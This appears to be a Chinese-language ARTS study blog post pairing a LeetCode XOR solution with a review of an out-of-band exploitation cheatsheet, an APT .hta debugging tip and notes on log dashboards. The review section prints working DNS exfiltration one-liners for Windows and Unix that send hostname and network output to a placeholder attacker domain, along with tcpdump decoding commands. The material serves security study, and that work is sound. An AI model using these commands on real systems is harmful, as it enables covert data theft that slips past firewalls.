ARTS:

  • Algrothm: leetcode算法题目
  • Review: 阅读并且点评一篇英文技术文章
  • Tip/Techni: 学习一个技术技巧
  • Share: 分享一篇有观点和思考的技术文章

Algorithm

Single Number

https://leetcode.com/problems/single-number/

1)problem

Given a non-empty array of integers, every element appears twice except for one. Find that single one.

Note:

Your algorithm should have a linear runtime complexity. Could you implement it without using extra memory?

Example 1:

Input: [2,2,1]
Output: 1
Example 2:

Input: [4,1,2,1,2]
Output: 4

2)answer

数组中其他数出现两次,仅有一个出现一次的。逐个字符进行异或来,当某个数字出现第二次时候数字就归为0。二进制计算逻辑如下:

  二进制            异或      下一次的异或值   实际值
4 ==> 100  ==>  100 ^ 000      = 100        = 4
1 ==> 001  ==>  001 ^ 100      = 101        = 5
2 ==> 010  ==>  010 ^ 101      = 111        = 7
1 ==> 001  ==>  001 ^ 111      = 110        = 6
2 ==> 010  ==>  010 ^ 110      = 100        = 4

3)solution

Cpp:

#include <stdio.h>
#include <vector>
using std::vector;

class Solution {
public:
    int singleNumber(vector<int>& nums) {

        int aNum = 0;
        for (int i = 0; i < nums.size(); i++) {
            aNum ^= nums[i];
        }
        return aNum;
    }
};

int main()
{

    // 使用内容
    Solution nSolution;
    vector<int> nums;

    nums.push_back(2);
    nums.push_back(1);
    nums.push_back(2);
    nSolution.singleNumber(nums);
    return 0;
}

Python:

class Solution(object):
    def singleNumber(self, nums):
        """
        :type nums: List[int]
        :rtype: int
        """
        r_nums = 0
        for num in nums:
            r_nums ^= num
        return r_nums

4)总结

Tips:按tags刷会比较有效率。

  • String

https://leetcode.com/problemset/all/?topicSlugs=string

https://leetcode.com/problems/unique-email-addresses

https://leetcode.com/problems/to-lower-case

  • HASH Tables

https://leetcode.com/problems/jewels-and-stones

https://leetcode.com/problems/single-number

Review

【WEB安全】out of band exploitation (oob) cheatsheet

https://www.exploit-db.com/docs/english/45370-out-of-band-exploitation-(oob)-cheatsheet.pdf

1)场景

OOB是一种确认和利用漏洞的方法。让容易受到攻击的实体生成出站请求(TCP/UDP/ICMP),由攻击者过滤数据。

而OOB攻击基于出口防火墙规则从受攻击的系统发出出站请求,所以防火墙不会拦截。

2)问题难点

文章中的演示是利用DNS协议进行传输数据的。

3)解决问题的方法

在受攻击的系统执行命令,把命令回显结果传回到攻击者的服务器上。对受攻击的系统执行指定命令通过DNS访问攻击者的服务器,攻击者将开启tcpdump抓包工具把原数据存储,在过滤还原出来。

4)方法细节

在攻击者服务器上运行TCPDUMP。接受数据原理:

tcpdump -n port 53

Windows:

受攻击机器:

nslookup test.oob.dnsattacker.com

Uinx:

host host.oob.dnsattacker.com

5)总结

  • 获取主机名

Windows受攻击机器

cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3
&& set /p MYVAR=<temp3 && set FINAL=!MYVAR!.oob.dnsattacker.com && nslookup !FINAL!"

攻击者:

echo “encoded output” |base64 -d  # decode the output with base64
  • 发送多行的显示结果

受攻击机器:

cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=GetContent
output.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in $subdomain){
$final=$j.tostring()+'.'+$i+'.file.oob.dnsattacker.com';$j += 1; nslookup $final }"    # Sending file inHEX

攻击者:

sudo tcpdump -n port 53 | tee file.txt

echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f
2|tr -d '\n')" | xxd -r -p

Unix:

受攻击者:

var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig  $var.$b.file.oob.dnsattacker.com;done   # Sending file in HEX

攻击者:

sudo tcpdump -n port 53 | tee file.txt

提取和构造输出:

echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p

Base64:

var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.file.oob.dnsattacker.com; done# Sending file in base64

Tip

【逆向分析】某APT组织.net程序调试技巧

1)场景

某个APT组织的样本是通过.hta文件在内存中直接展开的。

2)问题难点

.HTA文件,解密在分析。工具少,时间长。

3)解决思路

查看mshta.exe是否在运行,使用OD附加这个进程。

4)方法细节

1、运行.hta文件,查看mshta.exe是否在运行,使用OD附加这个进程。

2、bp connect:对网络函数下断点,获取连接域名或IP的位置,拿到IOC。

5)总结

邮件发送的样本,打开附件的EXE释放会在temp临时目录内释放hta文件或者白签名的文件,打开pdf/word/ppt文件。

Share

【业务安全】应用日志分析需求

1)场景

针对主机存储的日志数据,通过这些分析报表来查看近期站点的流量趋势、洞察站点用户行为、用户地域属性等。

2)问题难点

图是从微信群里看到的,比起上周关注的业务点多了些许细节。

3)解决问题的方法

运营大盘:告警、趋势与分析

  • 告警类:准时的展示、拦截;
  • 趋势类:饼图、柱图、折线等等。一般以天或小时级别,观测整体的趋势,不适合细粒度分析但可从宏观侧面观测并找到可疑的方向;
  • 观测分析类:也以各种饼图、柱图、折线为主,但会比趋势类的展示在某些维度的粒度更细,例如,5-10分钟级别,甚至按地域和用户细分,等等。一方面,用于在可疑方向上进一步确定问题,给分析人员指向原始数据内的分析方向;另一方面,也可在不那么微观、但也不那么宏观的层面上,通过流动性的走势发现一些在原始数据和宏观数据里都无法发现的问题。

4)方法细节

5)总结

【ARTS】01_04_左耳听风-20181203~1209的更多相关文章

  1. 【ARTS】01_21_左耳听风-201900401~201900407

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  2. 【ARTS】01_20_左耳听风-20190325~20190331

    zz## ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 ...

  3. 【ARTS】01_19_左耳听风-20190318~20190324

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  4. 【ARTS】01_18_左耳听风-20190311~20190317

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  5. 【ARTS】01_17_左耳听风-20190304~20190310

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  6. 【ARTS】01_16_左耳听风-20190225~20190303

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  7. 【ARTS】01_14_左耳听风-20190211~20190217

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  8. 【ARTS】01_10_左耳听风-20190114~20190120

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  9. 【ARTS】01_09_左耳听风-20190107~20190113

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

随机推荐

  1. 老李的blog使用日记(3)

    匆匆忙忙.碌碌无为,这是下一个作业,VS,多么神圣高大上,即使这样,有多少人喜欢你就有多少人烦你,依然逃不了被推销的命运,这抑或是它喜欢接受的,但是作为被迫接受者,能做的的也只有接受,而已. 既来之则 ...

  2. 查看django版本的方法

    在cmd输入: python -m django --version django-admin --version

  3. 使用navicat 链接数据库时乱码

    在建立数据库链接时设置  高级->编码->uft-8 其他版本使用下面方法

  4. 【设计模式】—— 模板方法Template

    前言:[模式总览]——————————by xingoo 模式意图 定义一个类的框架,当它有不同的类时,再具体实现. 比如,我们设计一个跨系统的客户端软件,Windows需要一套展现类,Linux需要 ...

  5. (转)c# 筛选数组重复项

    转自:http://www.cnblogs.com/zhaoweiting/archive/2009/08/24/1552724.html 第一种方法:public static String[] R ...

  6. 学习Spring Boot:(十三)配置 Shiro 权限认证

    经过前面学习 Apache Shiro ,现在结合 Spring Boot 使用在项目里,进行相关配置. 正文 添加依赖 在 pom.xml 文件中添加 shiro-spring 的依赖: <d ...

  7. WCF trace、log

    1. 打开wcf配置:   2. enable trace , log 可以改变log路径: 3. 用 SvcTraceViewer.exe (直接在c盘下搜索) 查看   4. 如果想自定义trac ...

  8. noip2018 d2t3 保卫王国 解题报告

    保卫王国 电脑卡懒得把题面挪过来了. 朴素 \[ dp_{i,0}=\sum dp_{s,1}\\ dp_{i,1}=\sum \min(dp_{s,0},dp_{s,1})+p_i \] 然后直接动 ...

  9. k8s如何管理Pod(rc、rs、deployment)

    是豆荚,可以把容器想像成豆荚里的豆子,把一个或多个关系紧密的豆子包在一起就是豆荚(一个Pod).在k8s中我们不会直接操作容器,而是把容器包装成Pod再进行管理(关于Pod,大家可以参考第十期的分享“ ...

  10. 命令行 设置redis 时间

    > set name jack OK > expire jack (integer) > ttl jack (integer) - > expire name (integer ...